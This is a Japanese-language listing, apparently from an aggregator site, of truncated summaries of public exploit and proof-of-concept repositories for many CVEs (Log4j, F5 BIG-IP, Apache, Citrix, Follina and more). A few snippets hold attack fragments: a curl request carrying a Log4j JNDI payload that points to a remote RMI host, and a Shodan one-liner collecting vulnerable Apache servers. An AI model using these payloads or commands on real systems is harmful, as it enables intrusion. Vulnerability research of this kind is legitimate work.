SMB-LINUX-CVE-2025-37899

LinuxカーネルのksmbdにおけるUse-After-Freeの脆弱性（CVE-2025-37899） 説明 Linuxカーネルのksmbdモジュール（ネットワーク上のファイル共有のためのSMB（Server Message Block）プロトコルの実装を担う）に、 use-after-free タイプの脆弱性が発見されました。CVE-2025-37899として識別されたこの脆弱性は、権限が昇格されたリモートコード実行を可能にする可能性があります。 はじめに この発見は、研究者のSean...

cve-2023-46747

CVE-2023-46747 エクスプロイトスクリプト このスクリプトは、F5 BIG-IP TMUI リモートコード実行脆弱性 CVE-2023-46747 を悪用します。これにより、認証されていない攻撃者が、脆弱性のある F5 BIG-IP システム上で任意のコマンドを実行できるようになります。 目次 機能 要件 使い方 パラメータ 動作の仕組み 免責事項 機能 認証なしのユーザー作成: 対象システム上にユーザーを生成します。 トークン取得: 作成したユーザーを使用して認証トークンを取得します。 リモートコマンド実行: 対象システム上で任意のシェルコマンドを実行します。 要件...

CVE-2024-23692

Rejetto HTTP File Server HFS 未認証 RCE 脆弱性の再現 CVE-2024-23692 概要 Rejetto HTTP File Server HFS は軽量な HTTP ファイルサーバーであり、ファイル共有やファイル転送に広く使用されています。CVE-2024-23692 はテンプレートインジェクションの脆弱性で、リモートの認証されていない攻撃者が特別に細工された HTTP リクエストを送信することで、影響を受けるシステム上で任意のコマンドを実行できるようになります。CVE 割り当て日時点で、Rejetto HFS 2.3m はサポート対象外です。...

CVE-2024-46451

CVE-2024-46451 TOTOLINK AC1200 T8 エクスプロイト - バッファオーバーフローの脆弱性 このリポジトリには、TOTOLINK AC1200 T8 バージョン v4.1.5cu.861B20230220 の setWiFiAclRules 関数における desc パラメータを介したバッファオーバーフローの脆弱性を悪用するPythonスクリプトが含まれています。 脆弱性の詳細 脆弱性タイプ : バッファオーバーフロー 影響を受ける関数 : setWiFiAclRules 影響を受けるバージョン : TOTOLINK AC1200 T8...

CVE-2024-46377

CVE-2024-46377 Best House Rental Management System 1.0 の任意ファイルアップロード脆弱性のPoC 概要 このPythonスクリプトは、Best House Rental Management System 1.0 の任意ファイルアップロード脆弱性を悪用する方法を示しています。この脆弱性により、攻撃者は悪意のあるファイル（PHPウェブシェルなど）をアップロードし、ターゲットサーバー上で任意のコマンドを実行できます。 使用方法 1. リポジトリをクローンしてディレクトリに移動します: root@kitploit: git clone...

LetsDefend-SOC342-CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-andRCE-EventID-320

🧠 LetsDefend SharePoint Zero-Day Analysis ToolShell - SOC342-CVE-2025-53770 📘 はじめに LetsDefend のサイバーラボで、ToolShell CVE-2025-53770 と呼ばれるSharePointのゼロデイを調査しました。 この演習は、悪意のあるPOSTリクエストが認証を迂回し、PowerShellを実行して MachineKeySection キーを盗み出し、payload.exe をコンパイルし、悪意のあるWebシェル spinstall0.aspx を配置する、現実のゼロデイRCE攻撃...

nexus_rce_CVE-2019-7238

nexusrceCVE-2019-7238 デバッグメモとエクスプロイトブラインドではない エクスプロイト burpsuiteを使用し、リクエスト内のls / -alを変更するだけです。ダブルクォートはシングルクォートに置き換えられるので注意してください root@kitploit: POST /service/extdirect HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.14; rv:63.0 Gecko/20100101 Firefox/63.0 Accept: /...

CVE-2024-50379-POC

CVE-2024-50379 の悪用とPOC このリポジトリは、Apache Tomcat に影響を与える脆弱性 CVE-2024-50379 の Proof of Concept（POC）を提供します。この問題は Time-of-Check Time-of-Use（TOCTOU）競合状態 を引き起こし、特に Windows のような大文字小文字を区別しないファイルシステム上で リモートコード実行（RCE） につながる可能性があります。 目次 説明 POC 使用方法 セキュリティに関する考慮事項 ライセンス 説明 CVE-2024-50379 は、TOCTOU...

log4j2-rce-poc

Log4j2 RCE脆弱性の概念実証 Log4j2 JNDIリモートコード実行脆弱性（CVE-2021-44228）の最小限の概念実証です。これは教育目的であり、セキュリティ研究者でない人々がその仕組みと影響の大きさを理解するのに役立つことを意図しています。 このPOCは、com.sun.jndi.rmi.object.trustURLCodebaseおよびcom.sun.jndi.cosnaming.object.trustURLCodebaseプロパティをtrueに設定する要件を回避します。これらのプロパティは8u121、7u131、6u141以降デフォルトで無効化されました。 前提...

CVE-2023-36158

CVE-2023-36158 sourcecodester Toll Tax Management System 1.0 におけるクロスサイトスクリプティング XSS の脆弱性により、リモートの攻撃者が My Account ページの First Name フィールドと Last Name フィールドを介して任意のコードを実行できる可能性があります。...

cve-2021-44228--spring-hibernate

CVE-2021-44228 実証コード - Spring / Hibernate この実証コードは Spring / Hibernate を使用していますが、rmi - デシリアライゼーションの同様のアプローチは、あらゆるデシリアライゼーションの脆弱性をトリガーするために使用できます TL;DR root@kitploit: $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '$jndi:rmi://exploit:10000/a' 被害者の...

CVE-2024-10542

CVE-2024-10542 および CVE-2024-10781 の PoC: CleanTalk プラグイン（= 6.43.2）のスパム保護、アンチスパム、ファイアウォールにおける認証の破壊 免責事項: この文書で提供される CVE-2024-10542 に関する情報は、学習および教育目的のみです。当方は、この情報を、悪用、システム改ざん、その他の違法行為を含む（これらに限定されない）有害な目的で使用することを推奨も許可もいたしません。 はじめに:...

CVE-2022-30190-Follina-Lab

🔴 CVE-2022-30190 — Follina MSDT RCE ラボ 研究者: Abhimanyu Rawat 役割: 技術調査＆サイバーセキュリティ運用インターン 日付: 2026年5月8日 📌 Follinaとは？ CVE-2022-30190（通称 "Follina" ）は、Microsoft Windows におけるゼロデイのリモートコード実行（RCE）脆弱性であり、攻撃者が被害者に Word文書を開かせる だけで任意のコマンドを実行できるようになります。マクロは不要です。 これは、Microsoft Office の外部テンプレート機能を介して、正規の Windows...

cve-2022-24112

Apache APISIX 2.12.1 リモートコード実行とDocker Lab git clone を使ってこのリポジトリをクローンし、apisix-docker/examples に移動しましょう。この docker-compose.yml ファイルでは、すでに image: apache/apisix:2.12.0-alpine に変更しています。なぜなら、このバージョンに脆弱性が存在するからです。それでは、docker compose を使ってインストールしましょう。 docker-compose によるクイックスタート: docker-compose...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Apache HTTPサーバのパストラバーサルゼロデイ脆弱性が悪用される Apache HTTP Server CVE-2021-41773 が実際に悪用される CVE-2021-42013: Apache HTTP Server 2.4.49および2.4.50におけるパストラバーサルとリモートコード実行（CVE-2021-41773の不完全な修正） Shodan ワンライナー root@kitploit: shodan search Apache Server 2.4.49 | awk 'print $1":"$2' |...

Node.js-CVE-2017-5941

NodeJS 安全でないデシリアライゼーションの脆弱性デモ Node.js は、JavaScript でサーバー機能を実装するために使用されるオープンソースのランタイム環境です。 Node.js 内の特定のソフトウェアパッケージには、デシリアライゼーションを扱う脆弱な関数が含まれており、クライアントが特別に細工された Cookie を提供すると、不正なコマンドを実行してしまいます。 この脆弱性は再現されており、リバースシェルを起動できる可能性があります。これは、クライアントのリクエスト内の Cookie から読み取られるサニタイズされていない入力データが原因で発生します。クライアントは...

bluekeep

CVE-2019-0708 別名 Bluekeep スキャナー CVE-2019-0708 に対するシステムの脆弱性を判定するシンプルなスキャナーです。 これは JaGoTu と zerosum0x0 によるオリジナルの metasploit モジュールスキャナーの Python 移植版で、GitHub こちら から入手できます。 概念実証 Bluekeep の脆弱性を悪用した概念実証 RCE です。 関連 0xeb-bp Github: bluekeep。zerosum0x0 が指摘したもので、XP 上で MST120 をグルーミングするコードが含まれています。 リソース...

cve-2019-19781

CVE-2019-19781 これは、他の研究者が先にコードを公開したため、アップロードされたものです。防御側がシステムにパッチを適用する十分な時間がある間、もう少し長く非公開にしておきたかったところです。 私たちは責任ある開示を支持していますが、今回は既に秘密が漏れてしまっていました。 エクスプロイト: CVE-2019-19781 Citrixmash CVE-2019-19781 エクスプロイト root@stronghold-nix:/home/relik/Desktop/git/cve-2019-19781 python citrixmash.py Citrixmash v0....

ds3-nrssr-rce

アップデート: Dark Souls III 1.15.1 2022年8月25日、Dark Souls IIIの新たなゲームアップデート1.15.1が、オンラインサービスの復旧とともにリリースされました。このアップデートでは、CVE-2022-24125とCVE-2022-24126の両方が修正され...

CVE-2025-55182-Simple-Scanner-main

CVE-2025-55182: React Server Components RCE スキャナー Next.jsアプリケーション（React Server Components使用）における深刻なリモートコード実行（RCE）の脆弱性 CVE-2025-55182 を検出・悪用するための包括的ツールキットです。 このリポジトリには、統合Bashスキャナー（シングルモード＆マスモード）、Python/Go実装、およびバグ報奨金偵察ワークフローが含まれています。 📂 リポジトリ構成 scanner.sh — シングルターゲットおよびマススキャン用のオールインワンBashスクリプト...